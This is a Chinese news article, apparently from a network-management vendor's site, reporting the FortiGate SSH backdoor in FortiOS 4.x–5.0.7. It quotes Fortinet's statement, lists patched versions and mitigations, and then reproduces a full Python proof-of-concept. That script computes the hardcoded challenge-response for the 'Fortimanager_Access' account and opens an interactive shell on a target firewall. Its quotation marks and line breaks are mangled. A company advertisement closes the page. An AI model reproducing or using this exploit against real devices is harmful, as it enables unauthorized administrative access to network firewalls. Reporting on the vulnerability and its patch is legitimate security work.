您当前位置:首页 > 资讯中心 > 业内新闻

飞塔防火墙曝SSH后门 官方回应并给出解决方案

昨天下午国内安全圈传出的FortiGate(飞塔防火墙)4.x-5.07版本均存在SSH后门一事,早在上周六就在国外安全网站seclists.org曝光,并于11日贴出PoC(漏洞验证代码)。

飞塔防火墙曝SSH后门 官方回应并给出解决方案

据物联网搜索引擎ZoomEye昨晚的统计,互联网上飞塔防火墙设备含有后门的比例约为13.5%,牛君在此向已经忙碌一夜和即将不眠的安全圈小伙伴致敬,大家辛苦了,安全产品不安全啊!

今日凌晨,飞塔官方紧急发出声明,称近日被公开安全问题早在14年7月被修复并给出补丁。

官方原文如下:

近日被公开的这个安全问题已经被修复,并且在2014年7月作为Fortinet代码库质量和完整性确认约定的一部分中已经给出补丁。这不是一个“后门”漏洞问题,而是认证管理问题。这个问题已经被我们的产品安全团队在常规检查和测试中发现。

经过认真的分析和调查,我们可以确认这个问题不是由于任何组织,内部或外部产生的任何恶意行为导致的。

如果您正在使用:

FortiOS v4.3.17 或任何FortiOS v4.3的更新版本 (2014年7月9日后发布的)

FortiOS v5.0.8 或任何FortiOS v5.0的更新版本 (2014年7月28日后发布的)

任何版本的 FortiOS v5.2 或v5.4

您将不会受到这个问题的影响。

强调:

1. 任何技术问题均可以致电:400-600-5255。

2. 如果用户所运行的FortiOS版本为受影响版本(不在声明中的版本覆盖范围内),我们建议用户升级/更新FortiOS版本到不受影响的版本:

FortiOS 4.3: 升级到 FortiOS 4.3.17 或更新版本

FortiOS 5.0: 升级到FortiOS 5.0.8 或更新版本

或者:

在所有接口上关闭SSH管理,只是用Web GUI替代,或者使用GUI上的console组件进行CLI接入。

如果SSH访问必须要进行,在5.0版本可以强制SSH访问只允许授权的IP地址访问,通过策略进行配置。

PoC见下:

  1. #!/usr/bin/env python  
  2.  
  3. # SSH Backdoor for FortiGate OS Version 4.x up to 5.0.7  
  4. # Usage: ./fgt_ssh_backdoor.py <target-ip> 
  5.  
  6. import socket  
  7. import select  
  8. import sys  
  9. import paramiko  
  10. from paramiko.py3compat import u  
  11. import base64  
  12. import hashlib  
  13. import termios  
  14. import tty  
  15.  
  16. def custom_handler(title, instructions, prompt_list):  
  17. n = prompt_list[0][0] m = hashlib.sha1()  
  18. m.update(‘\x00′ * 12)  
  19. m.update(n + ‘FGTAbc11*xy+Qqz27′)  
  20. m.update(‘\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70′)  
  21. h = ‘AK1′ + base64.b64encode(‘\x00′ * 12 + m.digest())  
  22. return [h] def main():  
  23. if len(sys.argv) < 2: 
  24. print ‘Usage: ‘ + sys.argv[0] + ‘ <target-ip>’  
  25. exit(-1)  
  26.  
  27. client = paramiko.SSHClient()  
  28. client.set_missing_host_key_policy(paramiko.AutoAddPolicy())  
  29.  
  30. try:  
  31. client.connect(sys.argv[1], username=”, allow_agent=Falselook_for_keys=False)  
  32. except paramiko.ssh_exception.SSHException:  
  33. pass  
  34.  
  35. trans = client.get_transport()  
  36. try:  
  37. trans.auth_password(username=’Fortimanager_Access’, password=”, event=Nonefallback=True)  
  38. except paramiko.ssh_exception.AuthenticationException:  
  39. pass  
  40.  
  41. trans.auth_interactive(username=’Fortimanager_Access’, handler=custom_handler)  
  42. chan = client.invoke_shell()  
  43.  
  44. oldtty = termios.tcgetattr(sys.stdin)  
  45. try:  
  46. tty.setraw(sys.stdin.fileno())  
  47. tty.setcbreak(sys.stdin.fileno())  
  48. chan.settimeout(0.0)  
  49.  
  50. while True:  
  51. r, w, e = select.select([chan, sys.stdin], [], [])  
  52. if chan in r:  
  53. try:  
  54. x = u(chan.recv(1024))  
  55. if len(x) == 0:  
  56. sys.stdout.write(‘\r\n*** EOF\r\n’)  
  57. break  
  58. sys.stdout.write(x)  
  59. sys.stdout.flush()  
  60. except socket.timeout:  
  61. pass  
  62. if sys.stdin in r:  
  63. x = sys.stdin.read(1)  
  64. if len(x) == 0:  
  65. break  
  66. chan.send(x)  
  67.  
  68. finally:  
  69. termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)  
  70. if __name__ == ‘__main__':  
  71. main()
作者:Grabsun - 发布时间:2016-01-13 - 点击量:4011
公司简介:大势至公司是国内较早的企业网管软件提供商,可以为企事业单位提供整体的企业网络管理方案和企业网络管理平台,通过全系列的公司监控员工电脑软件教你如何控制员工上网、如何控制局域网内电脑上网以及如何保护电脑文件安全等。公司核心产品“聚生网管系统”是一款专门的公司网管必备软件、查看网络流量软件、网络流量监控软件和办公室电脑监控软件;“网络特警”则是一款专门的网络流量监控设备、上网行为管理服务器、网络行为管理设备,可以实现更为强大的局域网网络行为管理;大势至USB接口禁用软件则是一款专门的数据防泄密产品、屏蔽U盘软件、电脑USB端口禁用软件,可以严防通过一切途径泄露电脑文件,保护单位无形资产和商业机密安全;大势至共享文件夹管理软件则是一款专门的共享文件权限设置软件和共享文件设置密码软件,全面保护共享文件安全;大势至共享文件审计系统则是一款专门的服务器共享文件夹设置软件、服务器共享文件访问日志记录软件,可以详细记录局域网用户访问共享文件的行为,更好地管理共享文件的安全;大势至局域网网络准入控制系统则是一款专门防止未经授权的电脑接入公司局域网的行为,防止外来电脑访问局域网共享文件、防止蹭网以及绑定IP和MAC地址,保护网络安全;大势至FTP服务器日志记录软件则是一款专门记录局域网用户访问FTP服务器日志的软件,可以有效保护FTP服务器文件安全。
联系我们